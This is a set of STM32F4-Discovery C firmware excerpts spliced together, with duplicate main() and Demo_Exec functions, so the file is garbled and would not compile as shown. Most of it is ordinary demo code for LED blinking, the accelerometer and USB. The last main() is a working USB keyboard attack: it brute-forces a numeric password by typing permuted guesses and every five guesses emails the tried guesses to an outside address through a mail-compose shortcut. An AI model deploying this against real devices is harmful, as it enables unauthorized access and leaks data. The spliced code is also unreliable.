/**
* @brief Main program.
* @param None
* @retval None
*/
int main(void)
{
RCC_ClocksTypeDef RCC_Clocks;
uint8_t HID_Buffer[4] = {0};
uint8_t way[4][2] = {{7,0},{0,7},{-7,0},{0,-7}}, i, j;
/* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/
//STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);
//
//STM_EVAL_LEDInit(LED4);
//STM_EVAL_LEDInit(LED3);
//STM_EVAL_LEDInit(LED5);
//STM_EVAL_LEDInit(LED6);
/* SysTick end of count event each 10ms */
RCC_GetClocksFreq(&RCC_Clocks);
SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
Demo_USBConfig();
while(1)
{
}
}
/**
* @brief Execute the demo application.
* @param None
* @retval None
*/
static void Demo_Exec(void)
{
RCC_ClocksTypeDef RCC_Clocks;
uint8_t togglecounter = 0x00;
while(1)
{
DemoEnterCondition = 0x00;
/* Reset UserButton_Pressed variable */
UserButtonPressed = 0x00;
/* Initialize LEDs to be managed by GPIO */
STM_EVAL_LEDInit(LED4);
STM_EVAL_LEDInit(LED3);
STM_EVAL_LEDInit(LED5);
STM_EVAL_LEDInit(LED6);
/* SysTick end of count event each 10ms */
RCC_GetClocksFreq(&RCC_Clocks);
SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
/* Turn OFF all LEDs */
STM_EVAL_LEDOff(LED4);
STM_EVAL_LEDOff(LED3);
STM_EVAL_LEDOff(LED5);
STM_EVAL_LEDOff(LED6);
/* Waiting User Button is pressed */
while (UserButtonPressed == 0x00)
{
/* Toggle LED4 */
STM_EVAL_LEDToggle(LED4);
Delay(10);
/* Toggle LED4 */
STM_EVAL_LEDToggle(LED3);
Delay(10);
/* Toggle LED4 */
STM_EVAL_LEDToggle(LED5);
Delay(10);
/* Toggle LED4 */
STM_EVAL_LEDToggle(LED6);
Delay(10);
togglecounter ++;
if (togglecounter == 0x10)
{
togglecounter = 0x00;
while (togglecounter < 0x10)
{
STM_EVAL_LEDToggle(LED4);
STM_EVAL_LEDToggle(LED3);
STM_EVAL_LEDToggle(LED5);
STM_EVAL_LEDToggle(LED6);
Delay(10);
togglecounter ++;
}
togglecounter = 0x00;
}
}
/* Waiting User Button is Released */
while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
{}
UserButtonPressed = 0x00;
/* TIM4 channels configuration */
TIM4_Config();
/* Disable all Timer4 channels */
TIM_CCxCmd(TIM4, TIM_Channel_1, DISABLE);
TIM_CCxCmd(TIM4, TIM_Channel_2, DISABLE);
TIM_CCxCmd(TIM4, TIM_Channel_3, DISABLE);
TIM_CCxCmd(TIM4, TIM_Channel_4, DISABLE);
/* MEMS configuration */
LIS302DL_InitStruct.Power_Mode = LIS302DL_LOWPOWERMODE_ACTIVE;
LIS302DL_InitStruct.Output_DataRate = LIS302DL_DATARATE_100;
LIS302DL_InitStruct.Axes_Enable = LIS302DL_XYZ_ENABLE;
LIS302DL_InitStruct.Full_Scale = LIS302DL_FULLSCALE_2_3;
LIS302DL_InitStruct.Self_Test = LIS302DL_SELFTEST_NORMAL;
LIS302DL_Init(&LIS302DL_InitStruct);
/* Required delay for the MEMS Accelerometre: Turn-on time = 3/Output data Rate
= 3/100 = 30ms */
Delay(30);
DemoEnterCondition = 0x01;
/* MEMS High Pass Filter configuration */
LIS302DL_FilterStruct.HighPassFilter_Data_Selection = LIS302DL_FILTEREDDATASELECTION_OUTPUTREGISTER;
LIS302DL_FilterStruct.HighPassFilter_CutOff_Frequency = LIS302DL_HIGHPASSFILTER_LEVEL_1;
LIS302DL_FilterStruct.HighPassFilter_Interrupt = LIS302DL_HIGHPASSFILTERINTERRUPT_1_2;
LIS302DL_FilterConfig(&LIS302DL_FilterStruct);
LIS302DL_Read(Buffer, LIS302DL_OUT_X_ADDR, 6);
X_Offset = Buffer[0];
Y_Offset = Buffer[2];
Z_Offset = Buffer[4];
/* USB configuration */
Demo_USBConfig();
/* Waiting User Button is pressed */
while (UserButtonPressed == 0x00)
{}
/* Waiting User Button is Released */
while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)
{}
/* Disable SPI1 used to drive the MEMS accelerometre */
SPI_Cmd(LIS302DL_SPI, DISABLE);
/* Disconnect the USB device */
DCD_DevDisconnect(&USB_OTG_dev);
USB_OTG_StopDevice(&USB_OTG_dev);
}
}
/**
* @brief Execute the demo application.
* @param None
* @retval None
*/
static void Demo_Exec(void)
{
uint8_t togglecounter = 0x00;
/* Initialize Accelerometer MEMS*/
if(BSP_ACCELERO_Init() != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
while(1)
{
DemoEnterCondition = 0x00;
/* Reset UserButton_Pressed variable */
UserButtonPressed = 0x00;
/* Configure LEDs to be managed by GPIO */
BSP_LED_Init(LED3);
BSP_LED_Init(LED4);
BSP_LED_Init(LED5);
BSP_LED_Init(LED6);
/* SysTick end of count event each 10ms */
SystemCoreClock = HAL_RCC_GetHCLKFreq();
SysTick_Config(SystemCoreClock / 100);
/* Turn OFF all LEDs */
BSP_LED_Off(LED4);
BSP_LED_Off(LED3);
BSP_LED_Off(LED5);
BSP_LED_Off(LED6);
/* Waiting User Button is pressed */
while (UserButtonPressed == 0x00)
{
/* Toggle LED4 */
BSP_LED_Toggle(LED4);
HAL_Delay(10);
/* Toggle LED4 */
BSP_LED_Toggle(LED3);
HAL_Delay(10);
/* Toggle LED4 */
BSP_LED_Toggle(LED5);
HAL_Delay(10);
/* Toggle LED4 */
BSP_LED_Toggle(LED6);
HAL_Delay(10);
togglecounter ++;
if (togglecounter == 0x10)
{
togglecounter = 0x00;
while (togglecounter < 0x10)
{
BSP_LED_Toggle(LED4);
BSP_LED_Toggle(LED3);
BSP_LED_Toggle(LED5);
BSP_LED_Toggle(LED6);
HAL_Delay(10);
togglecounter ++;
}
togglecounter = 0x00;
}
}
/* Waiting User Button is Released */
while (BSP_PB_GetState(BUTTON_KEY) != KEY_NOT_PRESSED)
{}
UserButtonPressed = 0x00;
/* TIM4 channels configuration */
TIM4_Config();
DemoEnterCondition = 0x01;
/* USB configuration */
Demo_USBConfig();
/* Waiting User Button is pressed */
while (UserButtonPressed == 0x00)
{}
/* Waiting User Button is Released */
while (BSP_PB_GetState(BUTTON_KEY) != KEY_NOT_PRESSED)
{}
/* Disconnect the USB device */
USBD_Stop(&hUSBDDevice);
USBD_DeInit(&hUSBDDevice);
if(HAL_TIM_PWM_DeInit(&htim4) != HAL_OK)
{
/* Initialization Error */
Error_Handler();
}
}
}
/**
* @brief Main program.
* @param None
* @retval None
*/
int main(void)
{
uint32_t guessIdx = 0;
int running = 0;
int delay = 0;
RCC_ClocksTypeDef RCC_Clocks;
/* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/
STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);
STM_EVAL_LEDInit(LED4);
STM_EVAL_LEDInit(LED3);
STM_EVAL_LEDInit(LED5);
STM_EVAL_LEDInit(LED6);
/* SysTick end of count event each 10ms */
RCC_GetClocksFreq(&RCC_Clocks);
SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
STM_EVAL_LEDOff(LED4);
STM_EVAL_LEDOn(LED3);
STM_EVAL_LEDOff(LED5);
STM_EVAL_LEDOff(LED6);
STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO);
keyboardInit(&USB_OTG_dev);
Demo_USBConfig();
char guess[7];
strcpy(guess, "400000");
Delay(2000);
while (1) {
if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {
//crappy debounce routine
TimingDelay = 10;
while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00));
//now change start or stop password attempts
if (running == 0) {
STM_EVAL_LEDOn(LED4);
running = 1;
} else {
STM_EVAL_LEDOff(LED4);
running = 0;
}
}
//mostly non blocking delay to allow stopping with button
if (delay > 0) {
Delay(1000);
delay--;
}
if (running != 0 && delay == 0) {
Delay(200);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
STM_EVAL_LEDToggle(LED6);
keyboardPutString(guess);
keyboardWrite(KEY_RETURN);
Delay(200);
keyboardWrite(KEY_RETURN);
nextPermutation(guess, "123", 1);
if ((++guessIdx % 5) == 0) {
//try to email every 5 guesses
keyboardReleaseAll();
keyboardPress(KEY_LEFT_GUI);
keyboardPress('g');
Delay(50);
keyboardReleaseAll();
keyboardPutString("*****@*****.**"); //leave the preceding 'c' that is the gmail compose shortcut
keyboardWrite(KEY_TAB);
keyboardPutString(guess);
keyboardWrite(KEY_TAB);
keyboardPutString(guess);
keyboardWrite(KEY_TAB);
keyboardWrite(KEY_TAB);
keyboardWrite(KEY_RETURN);
STM_EVAL_LEDOff(LED5);
delay = 30;
}
}
}
}
